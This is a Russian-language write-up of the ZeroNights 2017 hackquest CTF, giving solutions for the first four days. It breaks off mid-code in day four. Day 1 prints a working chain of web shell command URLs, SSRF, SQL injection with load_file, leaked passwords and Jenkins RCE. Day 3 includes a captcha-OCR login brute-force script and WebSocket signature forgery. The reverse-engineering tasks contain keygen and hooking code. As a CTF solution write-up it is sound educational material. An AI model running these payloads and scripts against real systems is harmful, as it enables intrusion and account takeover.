Семь дней и семь интересных заданий — это наиболее ёмкое описание ежегодного хакквеста перед Zeronights. В этом году темы заданий оказались более разнообразными, что позволило сделалать квест интересным для большего числа участников. Прочитав данную статью, вы сможете ознакомиться с решением всех заданий, а также узнать имена победителей.
Day 1. WebPWN
Первый день начался с классического Web. Задание от ONSEC состояло из эксплуатации таких уязвимостей, как частичный обход авторизации, command injection, sql injection, SSRF. Последовательно воспользовавшись каждой из них, можно было получить rce и прочитать флаг. Около 1800 человек пыталось решить это задание.
Победители | ||
1 место | 2 место | 3 место |
|
|
|
Также решили: ilyaluk
, raz0r
, akamajoris
, kurlikasd
, poneev
, shvetsovalex007
, leon+zeronights
, mohemiv
Try to save a company from the Initial Coin Offering (ICO) and consequent loss of money.
http://zeroevening.org
http://zeroevening.org/
Сайт с заданием представляет собой почти пустую страницу. Из интересного — только html комментарий.
<!-- updated page via bitbucket 23.10.2017 -->
http://bitbucket.zeroevening.org/
http://bitbucket.zeroevening.org
Находим поддомен с bitbucket v4.7.1, который уязвим к частичному обходу авторизации.
http://bitbucket.zeroevening.org/admin%20/server-settings
http://git-admintools.zeroevening.org
Из настроек узнаем о поддомене git-admintools.zeroevening.org
, на котором расположен скрипт, позволяющий сделать git clone --recursive
по произвольному URL. Файлы сохраняются в веб-директорию /repos/%repo_name%/.
В данном задании предполагалось использование CVE-2017-1000117
, но я пошел более простым путем и скопировал проект с кучей готовых пейлоадов PayloadsAllTheThings
. Оказалось, что расширения pht
и phtml
не были заблокированы и я сразу получил готовый шелл.
http://git-admintools.zeroevening.org/repos/PayloadsAllTheThings/Upload%20insecure%20files/PHP%20Extension/phpinfo.pht
http://git-admintools.zeroevening.org/repos/PayloadsAllTheThings/Upload%20insecure%20files/PHP%20Extension/phpinfo.phtml
Читаем config.php
и идем на следующий поддомен.
http://git-admintools.zeroevening.org/repos/PayloadsAllTheThings/Upload%20insecure%20files/PHP%20Extension/Shell.phtml?cmd=cat+/var/www/html/config.php
http://dev-cyberplatform-ico.zeroevening.org
http://dev-cyberplatform-ico.zeroevening.org/?url=ops.jpg
На данном сайте через параметр url
можно сделать SSRF и чтение произвольных файлов, результат попадает на страницу в виде base64 картинки. Я потратил довольно много времени на поиски исходного кода или конфигов, пока не наткнулся на /etc/hosts
.
http://dev-cyberplatform-ico.zeroevening.org/?url=/etc/hosts
172.18.0.3 83c994f72770
Пробуем соседние IP
и находим скрипт с SQL Injection
.
http://dev-cyberplatform-ico.zeroevening.org/?url=http://172.18.0.2/user.php?username=root%27=0%2bunion%2bselect%2b1,load_file%28%27/var/www/html/install.php%27%29,3,4–%2b-
Читаем install.php
и находим пароли для jenkins.
mysql_query("INSERT INTO users (login,pass,status) VALUES ('root', MD5('toor'), 'admin');");
mysql_query("DROP TABLE jenkins_users");
mysql_query("CREATE TABLE jenkins_users ( username TEXT, password TEXT );");
mysql_query("INSERT INTO jenkins_users (username,password) VALUES ('bomberman', 'HVQ8UijXwU)');");
mysql_query("INSERT INTO jenkins_users (username,password) VALUES ('cyberpunkych', 'DC8800_553535_proshe_pozvonitb_chem_y_kogo_to_zanimatb');");
mysql_query("INSERT INTO jenkins_users (username,password) VALUES ('bo0om', 'Hipe4Money')");
mysql_query("INSERT INTO jenkins_users (username,password) VALUES ('jbfc', 'InBieberWeTrust')");
Находим поддомен jenkins, авторизуемся под bomberman и получаем RCE.
http://jenkins.zeroevening.org/computer/(master)/script
Находим флаг, сдаем и… ничего не происходит, потому что в флаге, который лежал на сервере была опечатка. Я подумал, что это какой-то троллинг и задание нужно ковырять еще глубже, но, ничего не найдя, пошел спать. В итоге все-таки оказался первым и получил инвайт.
Day 2. Petrovkey
Второй день состоял из большого таска от R0crew на reverse engineering. Необходимо было разобраться с несколькими слоями «упаковки» бинарного файла. Изначальный файл представлял собой виртуальную машину, работающую внутри исполняемого файла на языке Go. В общей сложности файл был скачан более 250 раз.
Победители | |
1 место | 2 место |
|
|
Your friend works in an antivirus company. He developed a new algorithm for generating a license key and asks you to test it.
Нам дан архив с исполняемым файлом ELF x86_64 "petrovavlic
". Недолго думая, открываем его в IDA, и видим, что он запакован UPX 3.94. Сам UPX распаковать его не может, автор вырезал имена секций. Каким-нибудь образом его распаковываем, например, восстановлением названий, и продолжаем.
По строкам из распакованного файла сразу понятно, что он написан на Go. Из них же и узнаем об авторе задания.
00000fb0: 2800 0000 0400 0000 476f 0000 3766 6661 (.......Go..7ffa
00000fc0: 3865 6437 3736 6134 3236 3237 3165 3864 8ed776a426271e8d
00000fd0: 6664 3937 3062 3530 6330 3163 6637 3666 fd970b50c01cf76f
0024e7e0: 44eb 0900 2f68 6f6d 652f 6b72 656f 6e2f D.../home/kreon/
0024e7f0: 476f 676c 616e 6450 726f 6a65 6374 732f GoglandProjects/
0024e800: 7461 736b 3230 302f 766d 2e67 6f00 002f task200/vm.go../
0024e810: 686f 6d65 2f6b 7265 6f6e 2f47 6f67 6c61 home/kreon/Gogla
0024e820: 6e64 5072 6f6a 6563 7473 2f74 6173 6b32 ndProjects/task2
0024e830: 3030 2f6d 6169 6e2e 676f 0000 2f68 6f6d 00/main.go../hom
...
Бинарь постриплен — стандартная отладочная информация отсутствует. К счастью, в Go для рефлексии в секции .gopclntab
сохраняются названия всех функций, и легко найти готовые скрипты для их восстановления, например, этот.
Все названия восстановлены — направляемся прямиком в main.main
.
Side note: в golang используется нестандартное соглашение о вызовах. В x86_64 стандартным является только одно, fastcall. В golang не используются регистры для передачи параметров, а возвращаемые значения (их может быть больше одного QWORD) кладутся на стек. Это доставляет определённые неудобства при использовании Hex-Rays
Там происходит примерно это:
main.__pre__start()
fmt.Println("PetrovAntivirus Activator")
fmt.Print( "Please enter a valid email: ")
bufio._p_Reader_.ReadString(email)
main.__check__email(email)
fmt_Print( "Please enter an activation key: ")
bufio._p_Reader_.ReadString(key)
main.__check__key(key)
table = main.__gen__table(email, key)
main.__check_key_e(email, key, table)
Разберём вызовы по порядку.
main.__pre__start()
: устанавливаются обработчики сигналов и происходит несколько системных вызовов SYS_ptrace
с параметром PTRACE_TRACEME
. Таким образом, в том числе, становится невозможно дебажить бинарь. Для нормального дебага можно вырезать установку сигналов и системные вызовы. Почему нельзя просто вырезать вызов main.__pre__start()
? Для получения номеров системных вызовов используется функция main._p_syscall__table.__get__syscall__id
, в которой находится большой свитч. Он смотрит текущее значение системного вызова, определает по нему следующий и сохраняет. Таким образом, если не вызвать эту функцию один раз, все её дальнейшие результаты окажутся невалидны.
main.__check__email(email)
: почта просто проверяется на нормальный вид.
main.__check__key(key)
: проверяется, что ключ имеет вид XXXX-XXXX-XXXX-XXXX-XXXX-XXXX
, где X
это [0-9A-Z]
.
main.__gen__table(email, key)
: тут начинаются первые сложности. Подсчитывается сумма 5 и 6 блоков ключа (ord(key[0]) + ...
), также подсчитывается MD5 почты, и этот хеш никак не используется. Делается sprintf("%02X%02X", ...)
для email[0:1]
и email[4:5]
, далее для этих строк из 4 символов по тому же принципу подсчитываются суммы. Затем считается результат, пара чисел:
syscall_id_1 = main__p_syscall__table____get__syscall_id(&a1);
syscall_id_2 = main__p_syscall__table____get__syscall_id(&a1);
table[0] = Part5_sum + 4 * syscall_id_1 * syscall_id_2 + EMAIL__0_1_sum;
syscall_id_3 = main__p_syscall__table____get__syscall_id(&a1);
syscall_id_4 = main__p_syscall__table____get__syscall_id(&a1);
table[1] = Part6_sum& + 2 * syscall_id_3 * syscall_id_4 + EMAIL__4_5_sum;
Таким образом, в расчёте неких двух чисел участвует email и последние 2 блока ключа.
И вот мы подошли к главной функции: main.__check_key_e(email, key, table)
. Почти первой же строчкой идёт такой вызов github_com_Shopify_golua_NewState();
. Название говорит само за себя, это модуль для исполнения Lua в Go. Таким образом, где-то в бинаре спрятан проверочный скрипт на Lua.
Далее по ходу функции нужно выделить вызовы github_com_Shopify_golua__p_State__Register
, которые регистрируют в виртуальной машине Lua внешние функции, написанные на Go. Таких внешних функций 4: getkey — получение key в виде 6 блоков, getmail — получение email, goodkey — сообщение об успехе, badkey — о неудаче. После этого происходит github_com_Shopify_golua__p_State__Load(...)
и сразу за ним github_com_Shopify_golua__p_State__ProtectedCall(...)
, то есть запускается проверочный скрипт.
Откуда берётся проверочный скрипт? Исходный код go-lua говорит, что первым аргументом в Load
идёт io.Reader
, из которого читается скрипт. io.Reader
— это интерфейс, в котором есть всего один метод: Read
. Поискав функции с _Read
в названии, находим интересную _home_kreon_GoglandProjects_task200_eblob__p_BlobReader__Read
. Её полный код с небольшими изменениями:
__int64 __usercall _home_kreon_GoglandProjects_task200_eblob__p_BlobReader__Read@<rax>(_QWORD *a1, _BYTE *a2, unsigned __int64 a3)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
v3 = qword_6B69F8;
v4 = a1[2] - a1[4];
if ( (signed __int64)a3 <= v4 )
v4 = a3;
for ( i = 0LL; (signed __int64)i < v4; ++i )
{
v6 = a1[4];
j = v6 + *a1;
if ( j >= qword_6AF6A8 || (v8 = EncBlob[j], k = a1[1] + v6, k >= qword_6AF6A8) || (v10 = EncBlob[k] ^ v8, i >= a3) )
runtime_panicindex(a2, a3, a1);
a2[i] = v10;
++a1[4];
}
if ( a1[4] >= a1[2] )
result = v3;
else
result = 0LL;
return result;
}
Видно, что a[0]
и a[1]
— это некоторые оффсеты в EncBlob
, по которым находится 2 массива. В цикле берутся последовательные элементы из этих массивов и ксорятся. Логично предположить, что в этом массиве и спрятан скрипт.
Для поиска скрипта можно перебрать все возможные оффсеты, поксорить пару чисел из этих адресов и посмотреть на результат. Мы уже знаем, что в скрипте вызываются функции goodkey
и badkey
, можно поискать DWORD 'good'
и найти нужные оффсеты: 23620 и 195814 (о чём и была третья подсказка). Также можно заметить, что перед вызовом Load
создаётся объект Reader
, в который в [0]
и [1]
записываются наши результаты __gen__table
. Значит, для подсчитанных в __gen__table
значений известно, какими они должны быть, следовательно, это тоже проверка ключа.
local KEY = getkey()
local MAIL = getmail()
local keypart_sums = {}
local M = {}
local keypart_it = 1
local MAIL_extended = ""
local MAIL_ext_sums = {1,1,1,1}
keypart_it = 1
for i=1,4 do
local keypart_sum = 0
local keypart_len = 0
for c=1,KEY[i]:len() do
keypart_sum = keypart_sum + KEY[i]:byte(c)
keypart_len = keypart_len +1
end
if keypart_len ~= 4 then
return badkey()
end
keypart_sums[keypart_it] = keypart_sum
keypart_it = keypart_it +1
end
for i=1,4 do
for j=1,4 do
M[(i - 1) * 4 + j] = (keypart_sums[i] + keypart_sums[j]) % 169
end
end
while string.len(MAIL_extended) < 64 do
MAIL_extended = MAIL_extended .. MAIL
end
keypart_it = 1
local MAIL_ = 1
for c=1,64 do
MAIL_ext_sums[MAIL_] = MAIL_ext_sums[MAIL_] + MAIL_extended:byte(c)
MAIL_ = MAIL_ + 1
keypart_it = keypart_it + 1
if MAIL_ == 5 then
MAIL_ = 1
end
end
for i=1,4 do
MAIL_ext_sums[i] = MAIL_ext_sums[i] % 13
end
keypart_it = 1
for i=1,16,5 do
M[i] = MAIL_ext_sums[keypart_it]
keypart_it = keypart_it + 1
end
local v________ = {}
for i=1,4 do
s = 0
for j=1,4 do
s = s + M[(j - 1)*4 + i]
end
v________[s] = 1
end
local pairs_num = 0
for k,v in pairs(v________) do
pairs_num = pairs_num + 1
end
if pairs_num == 1 then
goodkey()
else
badkey()
end
Вкратце, в скрипте также считаются суммы кодов символов, складываются друг с другом в матрицу 4х4, туда же записываются суммы кодов символов в email, и проверяется, что суммы столбцов матрицы равны между собой.
У нас есть все проверки. Чтобы с их помощью сгенерировать ключ, можно использовать z3. Полный скрипт лежит в keygen.py
, в нём мы создаём символический ключ и добавляем в решатель все найденные ограничения, затем z3
за нас подбирает решение системы.
import sys
sys.path.append(r'C:\tools\z3-4.5.0-x64-win\bin\python')
from z3 import *
init(r'C:\tools\z3-4.5.0-x64-win\bin')
mail = 'zn2017@reverse4you.org'
cons = True
def add_con(con):
global cons
cons = And(cons, con)
key = [[Int('key_{}_{}'.format(i, j)) for j in range(4)] for i in range(6)]
# for i in range(len(key)):
# add_con((key[i][0] + key[i][1] + key[i][2]) % 5 == key[i][3] % 3)
for i in range(len(key)):
for j in range(len(key[i])):
add_con(
Or(
And(key[i][j] >= ord('0'), key[i][j] <= ord('9')),
And(key[i][j] >= ord('A'), key[i][j] <= ord('Z'))))
keypart_sums = [sum(key[i]) for i in range(len(key))]
m = [[None for j in range(4)] for i in range(4)]
for i in range(4):
for j in range(4):
m[i][j] = (keypart_sums[i] + keypart_sums[j]) % 169
mail_ext = (mail * 100)[:64]
mail_sums = [sum(map(ord, mail_ext[i::4]), 1) % 13 for i in range(4)]
for i in range(4):
m[i][i] = mail_sums[i]
col_sums = [sum(m[j][i] for j in range(4)) for i in range(4)]
add_con(col_sums[0] == col_sums[1])
add_con(col_sums[1] == col_sums[2])
add_con(col_sums[2] == col_sums[3])
add_con(sum(map(ord, '%02X%02X' % (ord(mail[0]), ord(mail[1])))) + 0x5A1C + keypart_sums[4] == 0x5C44)
add_con(sum(map(ord, '%02X%02X' % (ord(mail[4]), ord(mail[5])))) + 0x2FABE + keypart_sums[5] == 0x2FCE6)
# print(cons)
cons = simplify(cons)
# print(cons)
s = Solver()
s.add(cons)
print(s.check())
model = s.model()
print('-'.join(''.join(chr(model[key[i][j]].as_long()) for j in range(4)) for i in range(6)))
Day 3. YouAreWelcome
На третий день участников снова ждал Web (таск от SibearCTF). В начале задание могло показаться простым, однако, как выяснилось позже, капча и брут пароля остановили всех, кроме одного участника, который и стал победителем. Всего задние пыталось решить 480 человек.
Победитель | |
1 место | |
|
The competition is not over yet. You still have the opportunity to get the flag: http://zeronights.sibirctf.org/2017/
- XSS in feedback form. Got access to moderator account. Nothing useful here though, except the list of approved accounts.
- Trying to register own team — got password to email. Password is 4 digits, so can be easily bruteforced.
Login form is protected with simple captcha. Wrote simple script using pytesseract https://github.com/madmaze/pytesseract to recognize captcha and bruteforce login form. After 10 minutes got password for one of approved team account.
import sys import io import re import requests import pytesseract from PIL import Image from multiprocessing import Pool def get_cap(): URL = "http://zeronights.sibirctf.org/2017/sign_up" CAP_URL = "http://zeronights.sibirctf.org/captcha/image/" r = requests.get(URL) res = r.text h = re.findall("/captcha/image/([a-f0-9]+)/", res)[0] img_f = io.BytesIO(requests.get(CAP_URL+h+"/").content) c = pytesseract.image_to_string(Image.open(img_f), config="./tesseract.config") return (h, c) def brute(x): URL = "http://zeronights.sibirctf.org/2017/login" email = "keva_a78ff3@sibirctf.org" h, c = get_cap() r = requests.post(URL, data={ "_username": email, "_password":str(x), "captcha_0": h, "captcha_1": c }) if (r.status_code) != 400: print(email, x) sys.exit(0) pool = Pool(10) pool.map(brute, range(1000,10000)) pool.close() pool.join()
- Approved user accounts have WebSocket-based chat window. Every WebSocket message should contain signature which authorizes sender. Unfortunately, existing signatures was incorrect. Actually signature was md5('10'), while my user account id was 4. Tried use md5('4') and it worked.
var my_user_id = 4, my_sign = "d3d9446802a44259755d38e6d163e820";
There was two possible message types: "new" — subscribe to new messages and "message" — send the message to somebody. Sending messages to admin account was useless, so i decided to subscribe to new messages for admin account using md5('1') as a signature.
var uid = 1; var sign = 'c4ca4238a0b923820dcc509a6f75849b'; ws = new WebSocket("ws://13.93.88.79:8001/"); ws.onmessage = function(e) { try { console.log(JSON.parse(e.data)) } catch(Exception ) { console.log((e.data)) } } ws.onopen = function(){ ws.send(JSON.stringify({ 'type': 'new', 'userid': uid, 'signature': sign })); };
- Seems like there was some issues with bot, sending flag messages to admin account, but after a while i got it.
w0w_c0n6r47ul4710n_m337_47_z3r0n16h75
Day 4. Remansory challenge
Четвертый день представлял собой цепочку заданий нарастающей сложности от R0crew. Первое звено цепочки было самым простым и его смогли пройти 20 человек. Второе звено оказалось по силам для 6 человек, а до решения последнего добрались только четверо. Подробное описание каждого этапа можно найти под спойлером.
Победители | ||
1 место | 2 место | 3 место |
|
|
|
Также решил: Aleksey Cherepanov
You received an invitation to join the Masonic lodge of reverse engineers. But it's not so simple. You must complete the initiation and solve 4 tasks in one day. Good luck! You will find us in the telegram (@remasonry_bot)
Task #1
Имеется PE32 exe
файл. Строки:
Подаем user_id и какой-нибудь пароль, смотрим, что программа с ними делает.
Подменим содержимое bytesUserId
на "I'm ready!!!!"
(не забудем, обновить размер буфера для DIV EBX) и пропатчим немного программу.
После выполнения цикла szSalt
содержит наш пароль.
Task #2 packer
Есть программа для распаковки архивов неизвестного формата и набор файлов, которые нужно в такой архив упаковать.
Никаких обфускаций, защит и прочего, очень простой формат. Приведу его описание.
По этой информации не составляет труда написать упаковщик.
Не забываем про ограничение в 1 мегабайт, так что все повторяющиеся файлы сохраняем только один раз в FD
.
Программа для чтения:
import struct
data = open('2017.zn', 'br').read()
position = 0
lst_position = 0
def read_dword():
global data, position, lst_position
value = struct.unpack('<L', data[position:position + 4])[0]
lst_position = position
position += 4
return value
def read_raw(n):
global data, position, lst_position
value = data[position:position+n]
lst_position = position
position += n
return value
magic = read_dword()
print('%04x' % lst_position, 'magic'.rjust(20, ' '), hex(magic))
version = read_dword()
print('%04x' % lst_position, 'version'.rjust(20, ' '), hex(version))
student_pack = read_raw(12)
print('%04x' % lst_position, 'student_pack'.rjust(20, ' '), student_pack)
FILE_END_OFFSET = read_dword()
print('%04x' % lst_position, 'FILE_END_OFFSET'.rjust(20, ' '), hex(FILE_END_OFFSET))
ZN3_SIZE = read_dword()
print('%04x' % lst_position, 'ZN3_SIZE'.rjust(20, ' '), hex(ZN3_SIZE))
ZN1_AND_ZN3_SIZE = read_dword()
print('%04x' % lst_position, 'ZN1_AND_ZN3_SIZE'.rjust(20, ' '), hex(ZN1_AND_ZN3_SIZE))
ZN2_OFFSET = read_dword()
print('%04x' % lst_position, 'ZN2_OFFSET'.rjust(20, ' '), hex(ZN2_OFFSET))
ZN0_OFFSET = read_dword()
print('%04x' % lst_position, 'ZN0_OFFSET'.rjust(20, ' '), hex(ZN0_OFFSET))
data = data[position:]
ZN3_OFFSET = 0
ZN3_SIZE = ZN3_SIZE
ZN1_OFFSET = ZN3_OFFSET + ZN3_SIZE
ZN1_SIZE = ZN1_AND_ZN3_SIZE - ZN3_SIZE
FD_OFFSET = ZN3_OFFSET + ZN1_AND_ZN3_SIZE
FD_SIZE = ZN2_OFFSET - ZN1_AND_ZN3_SIZE
#ZN2_OFFSET
ZN2_SIZE = ZN0_OFFSET - ZN2_OFFSET
#ZN0_OFFSET
ZN0_SIZE = FILE_END_OFFSET - ZN0_OFFSET
print('ZN3', hex(ZN3_OFFSET), hex(ZN3_SIZE)) # folder - folder descriptors
print('ZN1', hex(ZN1_OFFSET), hex(ZN1_SIZE)) # file - folder descriptors
print('FD', hex(FD_OFFSET), hex(FD_SIZE)) # DATA
print('ZN2', hex(ZN2_OFFSET), hex(ZN2_SIZE)) # filename descriptors
print('ZN0', hex(ZN0_OFFSET), hex(ZN0_SIZE)) # filedata descriptors
for i in range(ZN3_OFFSET, ZN3_OFFSET + ZN3_SIZE, 0xC):
print(struct.unpack('<LLL', data[i:i+0xC]))
print('separator1')
for i in range(ZN0_OFFSET, ZN0_OFFSET + ZN0_SIZE, 0xC):
print(struct.unpack('<LLL', data[i:i+0xC]))
print('separator2')
Программа для упаковки:
import struct
import os
magic = 0x30324e5a
version = 0x3731
FOLDERS = []
FOLDERS_mirr = []
FILES = []
FILENAMES = []
FILENAMES_real = []
FILEDATAINFO = []
FILEDATA = b''
TARGET_FOLDER = 'pack_me'
FOLDERS_mirr += [TARGET_FOLDER]
FILES_mirr = []
for dirname, dirnames, filenames in os.walk(TARGET_FOLDER):
for subdirname in dirnames:
FOLDERS += [(len(FOLDERS) + 1, FOLDERS_mirr.index(dirname), len(FILENAMES))]
FOLDERS_mirr += [dirname + '\\' + subdirname]
FILENAMES += [(dirname + '\\' + subdirname, 1)]
for dirname, dirnames, filenames in os.walk(TARGET_FOLDER):
for flnm in filenames:
FILES += [(len(FILES), FOLDERS_mirr.index(dirname), len(FILENAMES))]
FILES_mirr += [dirname + '\\' + flnm]
FILENAMES += [(dirname + '\\' + flnm, 0)]
for idx, x in enumerate(FILENAMES):
fn = FILENAMES[idx][0].split('\\')[-1]
FILENAMES_real += [(idx, len(fn), fn.encode('utf-8'))]
for idx, x in enumerate(FILENAMES):
if x[1] == 0:
fdata = open(x[0], 'rb').read()
if fdata not in FILEDATA:
FILEDATA += fdata
offset = FILEDATA.index(fdata)
fsize = len(fdata)
FILEDATAINFO += [(FILES_mirr.index(x[0]), offset, fsize)]
zn_new_offset = [0 for i in range(5)]
zn_new_size = [0 for i in range(5)]
DATA = b''
for x in FOLDERS:
DATA += struct.pack('<LLL', *x)
zn_new_size[3] = len(DATA)
zn_new_offset[1] = len(DATA)
for x in FILES:
DATA += struct.pack('<LLL', *x)
zn_new_size[1] = len(DATA) - zn_new_offset[1]
zn_new_offset[4] = len(DATA)
DATA += FILEDATA
zn_new_size[4] = len(DATA) - zn_new_offset[4]
zn_new_offset[2] = len(DATA)
for x in FILENAMES_real:
DATA += struct.pack('<LL', x[0], len(x[2])) + x[2]
zn_new_size[2] = len(DATA) - zn_new_offset[2]
zn_new_offset[0] = len(DATA)
for x in FILEDATAINFO:
DATA += struct.pack('<LLL', x[0], x[1], x[2])
zn_new_size[0] = len(DATA) - zn_new_offset[0]
print([hex(d) for d in zn_new_offset], [hex(d) for d in zn_new_size])
FILE_END_OFFSET = zn_new_offset[0] + zn_new_size[0]
ZN3_SIZE = zn_new_size[3]
ZN1_AND_ZN3_SIZE = zn_new_size[3] + zn_new_size[1]
ZN2_OFFSET = zn_new_offset[2]
ZN0_OFFSET = zn_new_offset[0]
HEADER = struct.pack('<LL', magic, version) + TARGET_FOLDER.encode('utf-8') + b'\x00' + struct.pack('<LLLLL', FILE_END_OFFSET, ZN3_SIZE, ZN1_AND_ZN3_SIZE, ZN2_OFFSET, ZN0_OFFSET)
open('new.zn', 'wb').write(HEADER + DATA)
Task #3 random.apk
Задание, по словам организатора, было с багом, так что всем просто сообщали ответ.
Разберем его тоже.
Имеется apk
файл, который ожидает ввода некоторой строки.
Восстановим алгоритм проверки.
import java.math.BigInteger;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
public class Main {
//private static final String base64chars = "A2CTEFGHnJKLMNsPQ7SDlVvXYZabcdefghijkUmIopqrOtuWwxyz01B3456R89+/";
private static String CalcMD5(String paramString) throws NoSuchAlgorithmException {
MessageDigest localMessageDigest = MessageDigest.getInstance("MD5");
localMessageDigest.update(paramString.getBytes(), 0, paramString.length());
return new BigInteger(1, localMessageDigest.digest()).toString(16);
}
//
private static long Random(long paramLong) {
return (0xFFFFFFF & 11L + 252149039L * paramLong) >> 8;
}
private static long RandomSkip50(long paramLong) {
for (int i = 0; i < 50; i = i + 1) {
paramLong = Random(paramLong);
}
return paramLong;
}
private static String RandomGetString(String paramString, long paramLong) {
String str = "";
for (int i = 0; i < 32; i++) {
paramLong = Random(paramLong) & 0xFF;
str += paramLong ^ paramString.charAt(i);
}
return str;
}
public static void main(String[] args) throws NoSuchAlgorithmException {
String str = "INPUT_HASH_HERE"; // CalcMD5("SuperAndroidChallenge"); // baaee25a694971ac1e6dde4b2e8b1386
String[] arrayOfString = new String[500];
for (int i = 0; i < arrayOfString.length; i++) {
arrayOfString[i] = RandomGetString(str, RandomSkip50(i));
}
int j = 0;
for (int k = 0; k < arrayOfString.length; k++) {
j += arrayOfString[k].length();
}
if (j == 40762) {
System.out.println("OK");
}
}
}
В первую очередь, попытаемся найти хеш, который пройдет контрольную проверку.
Алгоритм проверки сводится к суммированию длины некоторого набора строк (500 штук).
Каждая строка генерируется как конкатенация тридцати двух десятичных чисел, каждое из которых — это xor гаммы и одного символа хеша (в строковом представлении, нижний регистр).
Обращаем внимание, что гамма не зависит от хеша, так что её можно считать константной (зависит только от строки и колонки).
Её можно вычислить заранее и сохранить в файл. Получится таблица 500x32 элементов.
Ниже, для примера, приведено несколько первых строк таблицы.
Очевидно, десятичное число после xor с символом хеша может быть длины 1, 2 или 3.
Зная, что символы хеша могут принимать только значения из диапазона [a-f0-9]
, можно однозначно определить длину результирующего десятичного числа на некоторых позициях, в то время как на других свести в точности к двум вариантам (подтверждено практически).
Преобразовываем таблицу так, чтобы её элементами были списки возможной длины результирующего десятичного числа.
На данном этапе контрольное число 40762 – это сумма значений всей таблицы.
Понятно, что можно беспрепятственно вычесть из контрольного числа минимум каждого элемента (который является списком) таблицы, не забыв при этом уменьшить и соответствующие значения самого списка. Теперь контрольное число это 3449. А таблица будет состоять из элементов двух типов: [0]
и [0, 1]
.
Рассмотрим один столбец такой таблицы. Попробуем представить все возможные комбинации из элементов [0, 1]
. Ясно, что существуют невозможные варианты, которые нельзя получить, зафиксировав букву хеша. Поэтому, во время поиска решения, необходимо использовать только допустимые расстановки 0
или 1
.
Зафиксируем букву хеша в некоторой позиции (от 0 до 31, включительно), так весь столбец таблицы, соответствующий этой позиции, примет однозначные значения. Просуммируем столбец и запишем в список (без повторений). Повторим эту операцию для всех остальных возможных символов хеша.
Теперь для каждой позиции у нас есть массив возможных вкладов колонки в общую сумму.
[100, 103, 94, 102, 97, 98, 95]
[109, 123, 108, 115, 114, 111, 112]
[103, 116, 122, 114, 95, 93, 97, 112, 119]
[121, 100, 107, 125, 105, 124, 90, 104, 120]
[100, 101, 103, 87, 105, 102, 91, 95]
[121, 109, 123, 126, 110, 102, 118, 90, 119]
[100, 101, 128, 82, 119, 118, 88, 134, 130]
[121, 127, 106, 122, 97, 112, 88, 119]
[103, 116, 92, 111, 112, 110, 88]
[128, 81, 80, 92, 90, 104, 91, 131, 95]
[123, 127, 126, 93, 102, 104, 124, 98]
[117, 133, 100, 123, 108, 142, 96, 119]
[117, 109, 133, 103, 93, 112, 110, 88, 134]
[75, 71, 101, 129, 116, 110, 102, 91, 130]
[98, 87, 94, 93, 148, 86, 149]
[100, 158, 103, 90, 88, 83, 95]
[87, 84, 86, 90, 88, 89, 145]
[100, 101, 103, 150, 93, 151, 89, 95]
[117, 108, 105, 166, 165, 111, 93, 96]
[117, 100, 107, 150, 114, 90, 110, 83, 149]
[117, 99, 116, 114, 112, 152, 88, 96, 154]
[108, 101, 103, 99, 153, 111, 102, 156]
[117, 176, 101, 99, 80, 122, 96, 167]
[77, 117, 140, 138, 102, 86, 118]
[101, 99, 158, 159, 104, 102, 90, 96, 95]
[109, 101, 115, 84, 111, 143, 90]
[107, 82, 168, 161, 102, 90, 96, 98, 95]
[71, 108, 158, 94, 85, 86, 162, 88, 106]
[75, 71, 80, 94, 92, 93, 148, 91]
[100, 99, 150, 93, 155, 83, 95]
[133, 109, 142, 87, 113, 94, 93, 85, 91]
[74, 135, 76, 80, 94, 92, 88, 149]
Решение задачи сводится к нахождению всех комбинаций «по одному элементу из каждого списка», сумма которых равна контрольному числу 3449, что по сути является частным случаем задачи об укладке ранца.
Для решения воспользуемся Z3 (SMT решатель).
from z3 import *
STUFF = [[100, 95, 98, 94, 102, 97, 103], … [88, 74, 76, 92, 80, 149, 94, 135]]
s = Solver()
chars = []
for i in range(len(STUFF)):
chxr = Int('c_%d' % i)
s.add(Or([chxr == STUFF[i][j] for j in range(len(STUFF[i]))]))
chars += [chxr]
s.add(Sum(*chars) == 3449)
while s.check() == sat:
mod = s.model()
d = [mod[Int('c_%d' % i)] for i in range(32)]
print(d)
s.add(Not(And([Int(str(xx)) == mod[xx] for xx in mod])) )
Немного подождав, получим не меньше 18к вариантов решений.
Однако каждое из таких решений может дать далеко не одно подходящее значение хеша.
Так, например, решение:
[100, 123, 122, 125, 105, 126, 134, 127, 116, 131, 127, 117, 134, 116, 149, 103, 84, 89, 93, 83, 88, 99, 80, 77, 90, 143, 107, 71, 148, 83, 85, 74]
распадается на всевозможные значения хеша, удовлетворяющие регулярному выражению:
^[6789][89][45][01][89][89][89][89][0123][f][01][23][de][01][de][a][23][bc][89][bc][bc][bc][89][bc][bc][def][a][89][def][89][bc][45]$
Примеры:
684088880f02d0da2b8bbb8ccfa9e9c4
684088880f02d0da2b8bbb8ccfa9e9c5
684088880f02d0da2b8bbb8ccfa9f8b4
684088880f02d0da2b8bbb8ccfa9f8b5
684088880f02d0da2b8bbb8ccfa9f8c4
684088880f02d0da2b8bbb8ccfa9f8c5
684088880f02d0da2b8bbb8ccfa9f9b4
Итого: Задача имеет огромное множество решений, вопрос только в обращении md5 хеша.
Task #4 pythonre
Задание представляет собой собранную в exe программу на языке Python.
Извлекаем pyc
файл.
Процесс перезапускает себя, так что перехватим CreateProcessW
, поправим CreationFlags
, приаттачимся.
По строкам найдем функцию, в которой можно перехватить буффер с pyc файлом исследуемой программы.
Прогнав через декомпилятор, не получаем ничего хорошего, код обфусцирован.
Попробуем подглядеть внутренние состояние в момент проверки ключа.
Напишем программу(dll
), которая перехватит PyObject_RichCompare
и будет выводить в консоль (stderr
) переданные её параметры.
Code:
typedef void PyObject;
typedef void (CDECL * _PyObject_Dump)(PyObject *o1);
_PyObject_Dump PyObject_Dump;
PHOOK hook1;
PyObject* CDECL xPyObject_RichCompare(PyObject *o1, PyObject *o2, int opid) {
PyObject* result = ((PyObject*(CDECL*)(PyObject*,PyObject*,int))hook1->original)(o1, o2, opid);
PyObject_Dump(o1);
PyObject_Dump(o2);
return result;
}
typedef PyObject*(CDECL * PyObject_RichCompare)(PyObject *o1, PyObject *o2, int opid);
void hackFunctions() {
PyObject_Dump = (_PyObject_Dump)GetProcAddress(GetModuleHandleA("python27.dll"), "_PyObject_Dump");
hook1 = HookFunction(GetProcAddress(GetModuleHandleA("python27.dll"), "PyObject_RichCompare"), xPyObject_RichCompare);
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
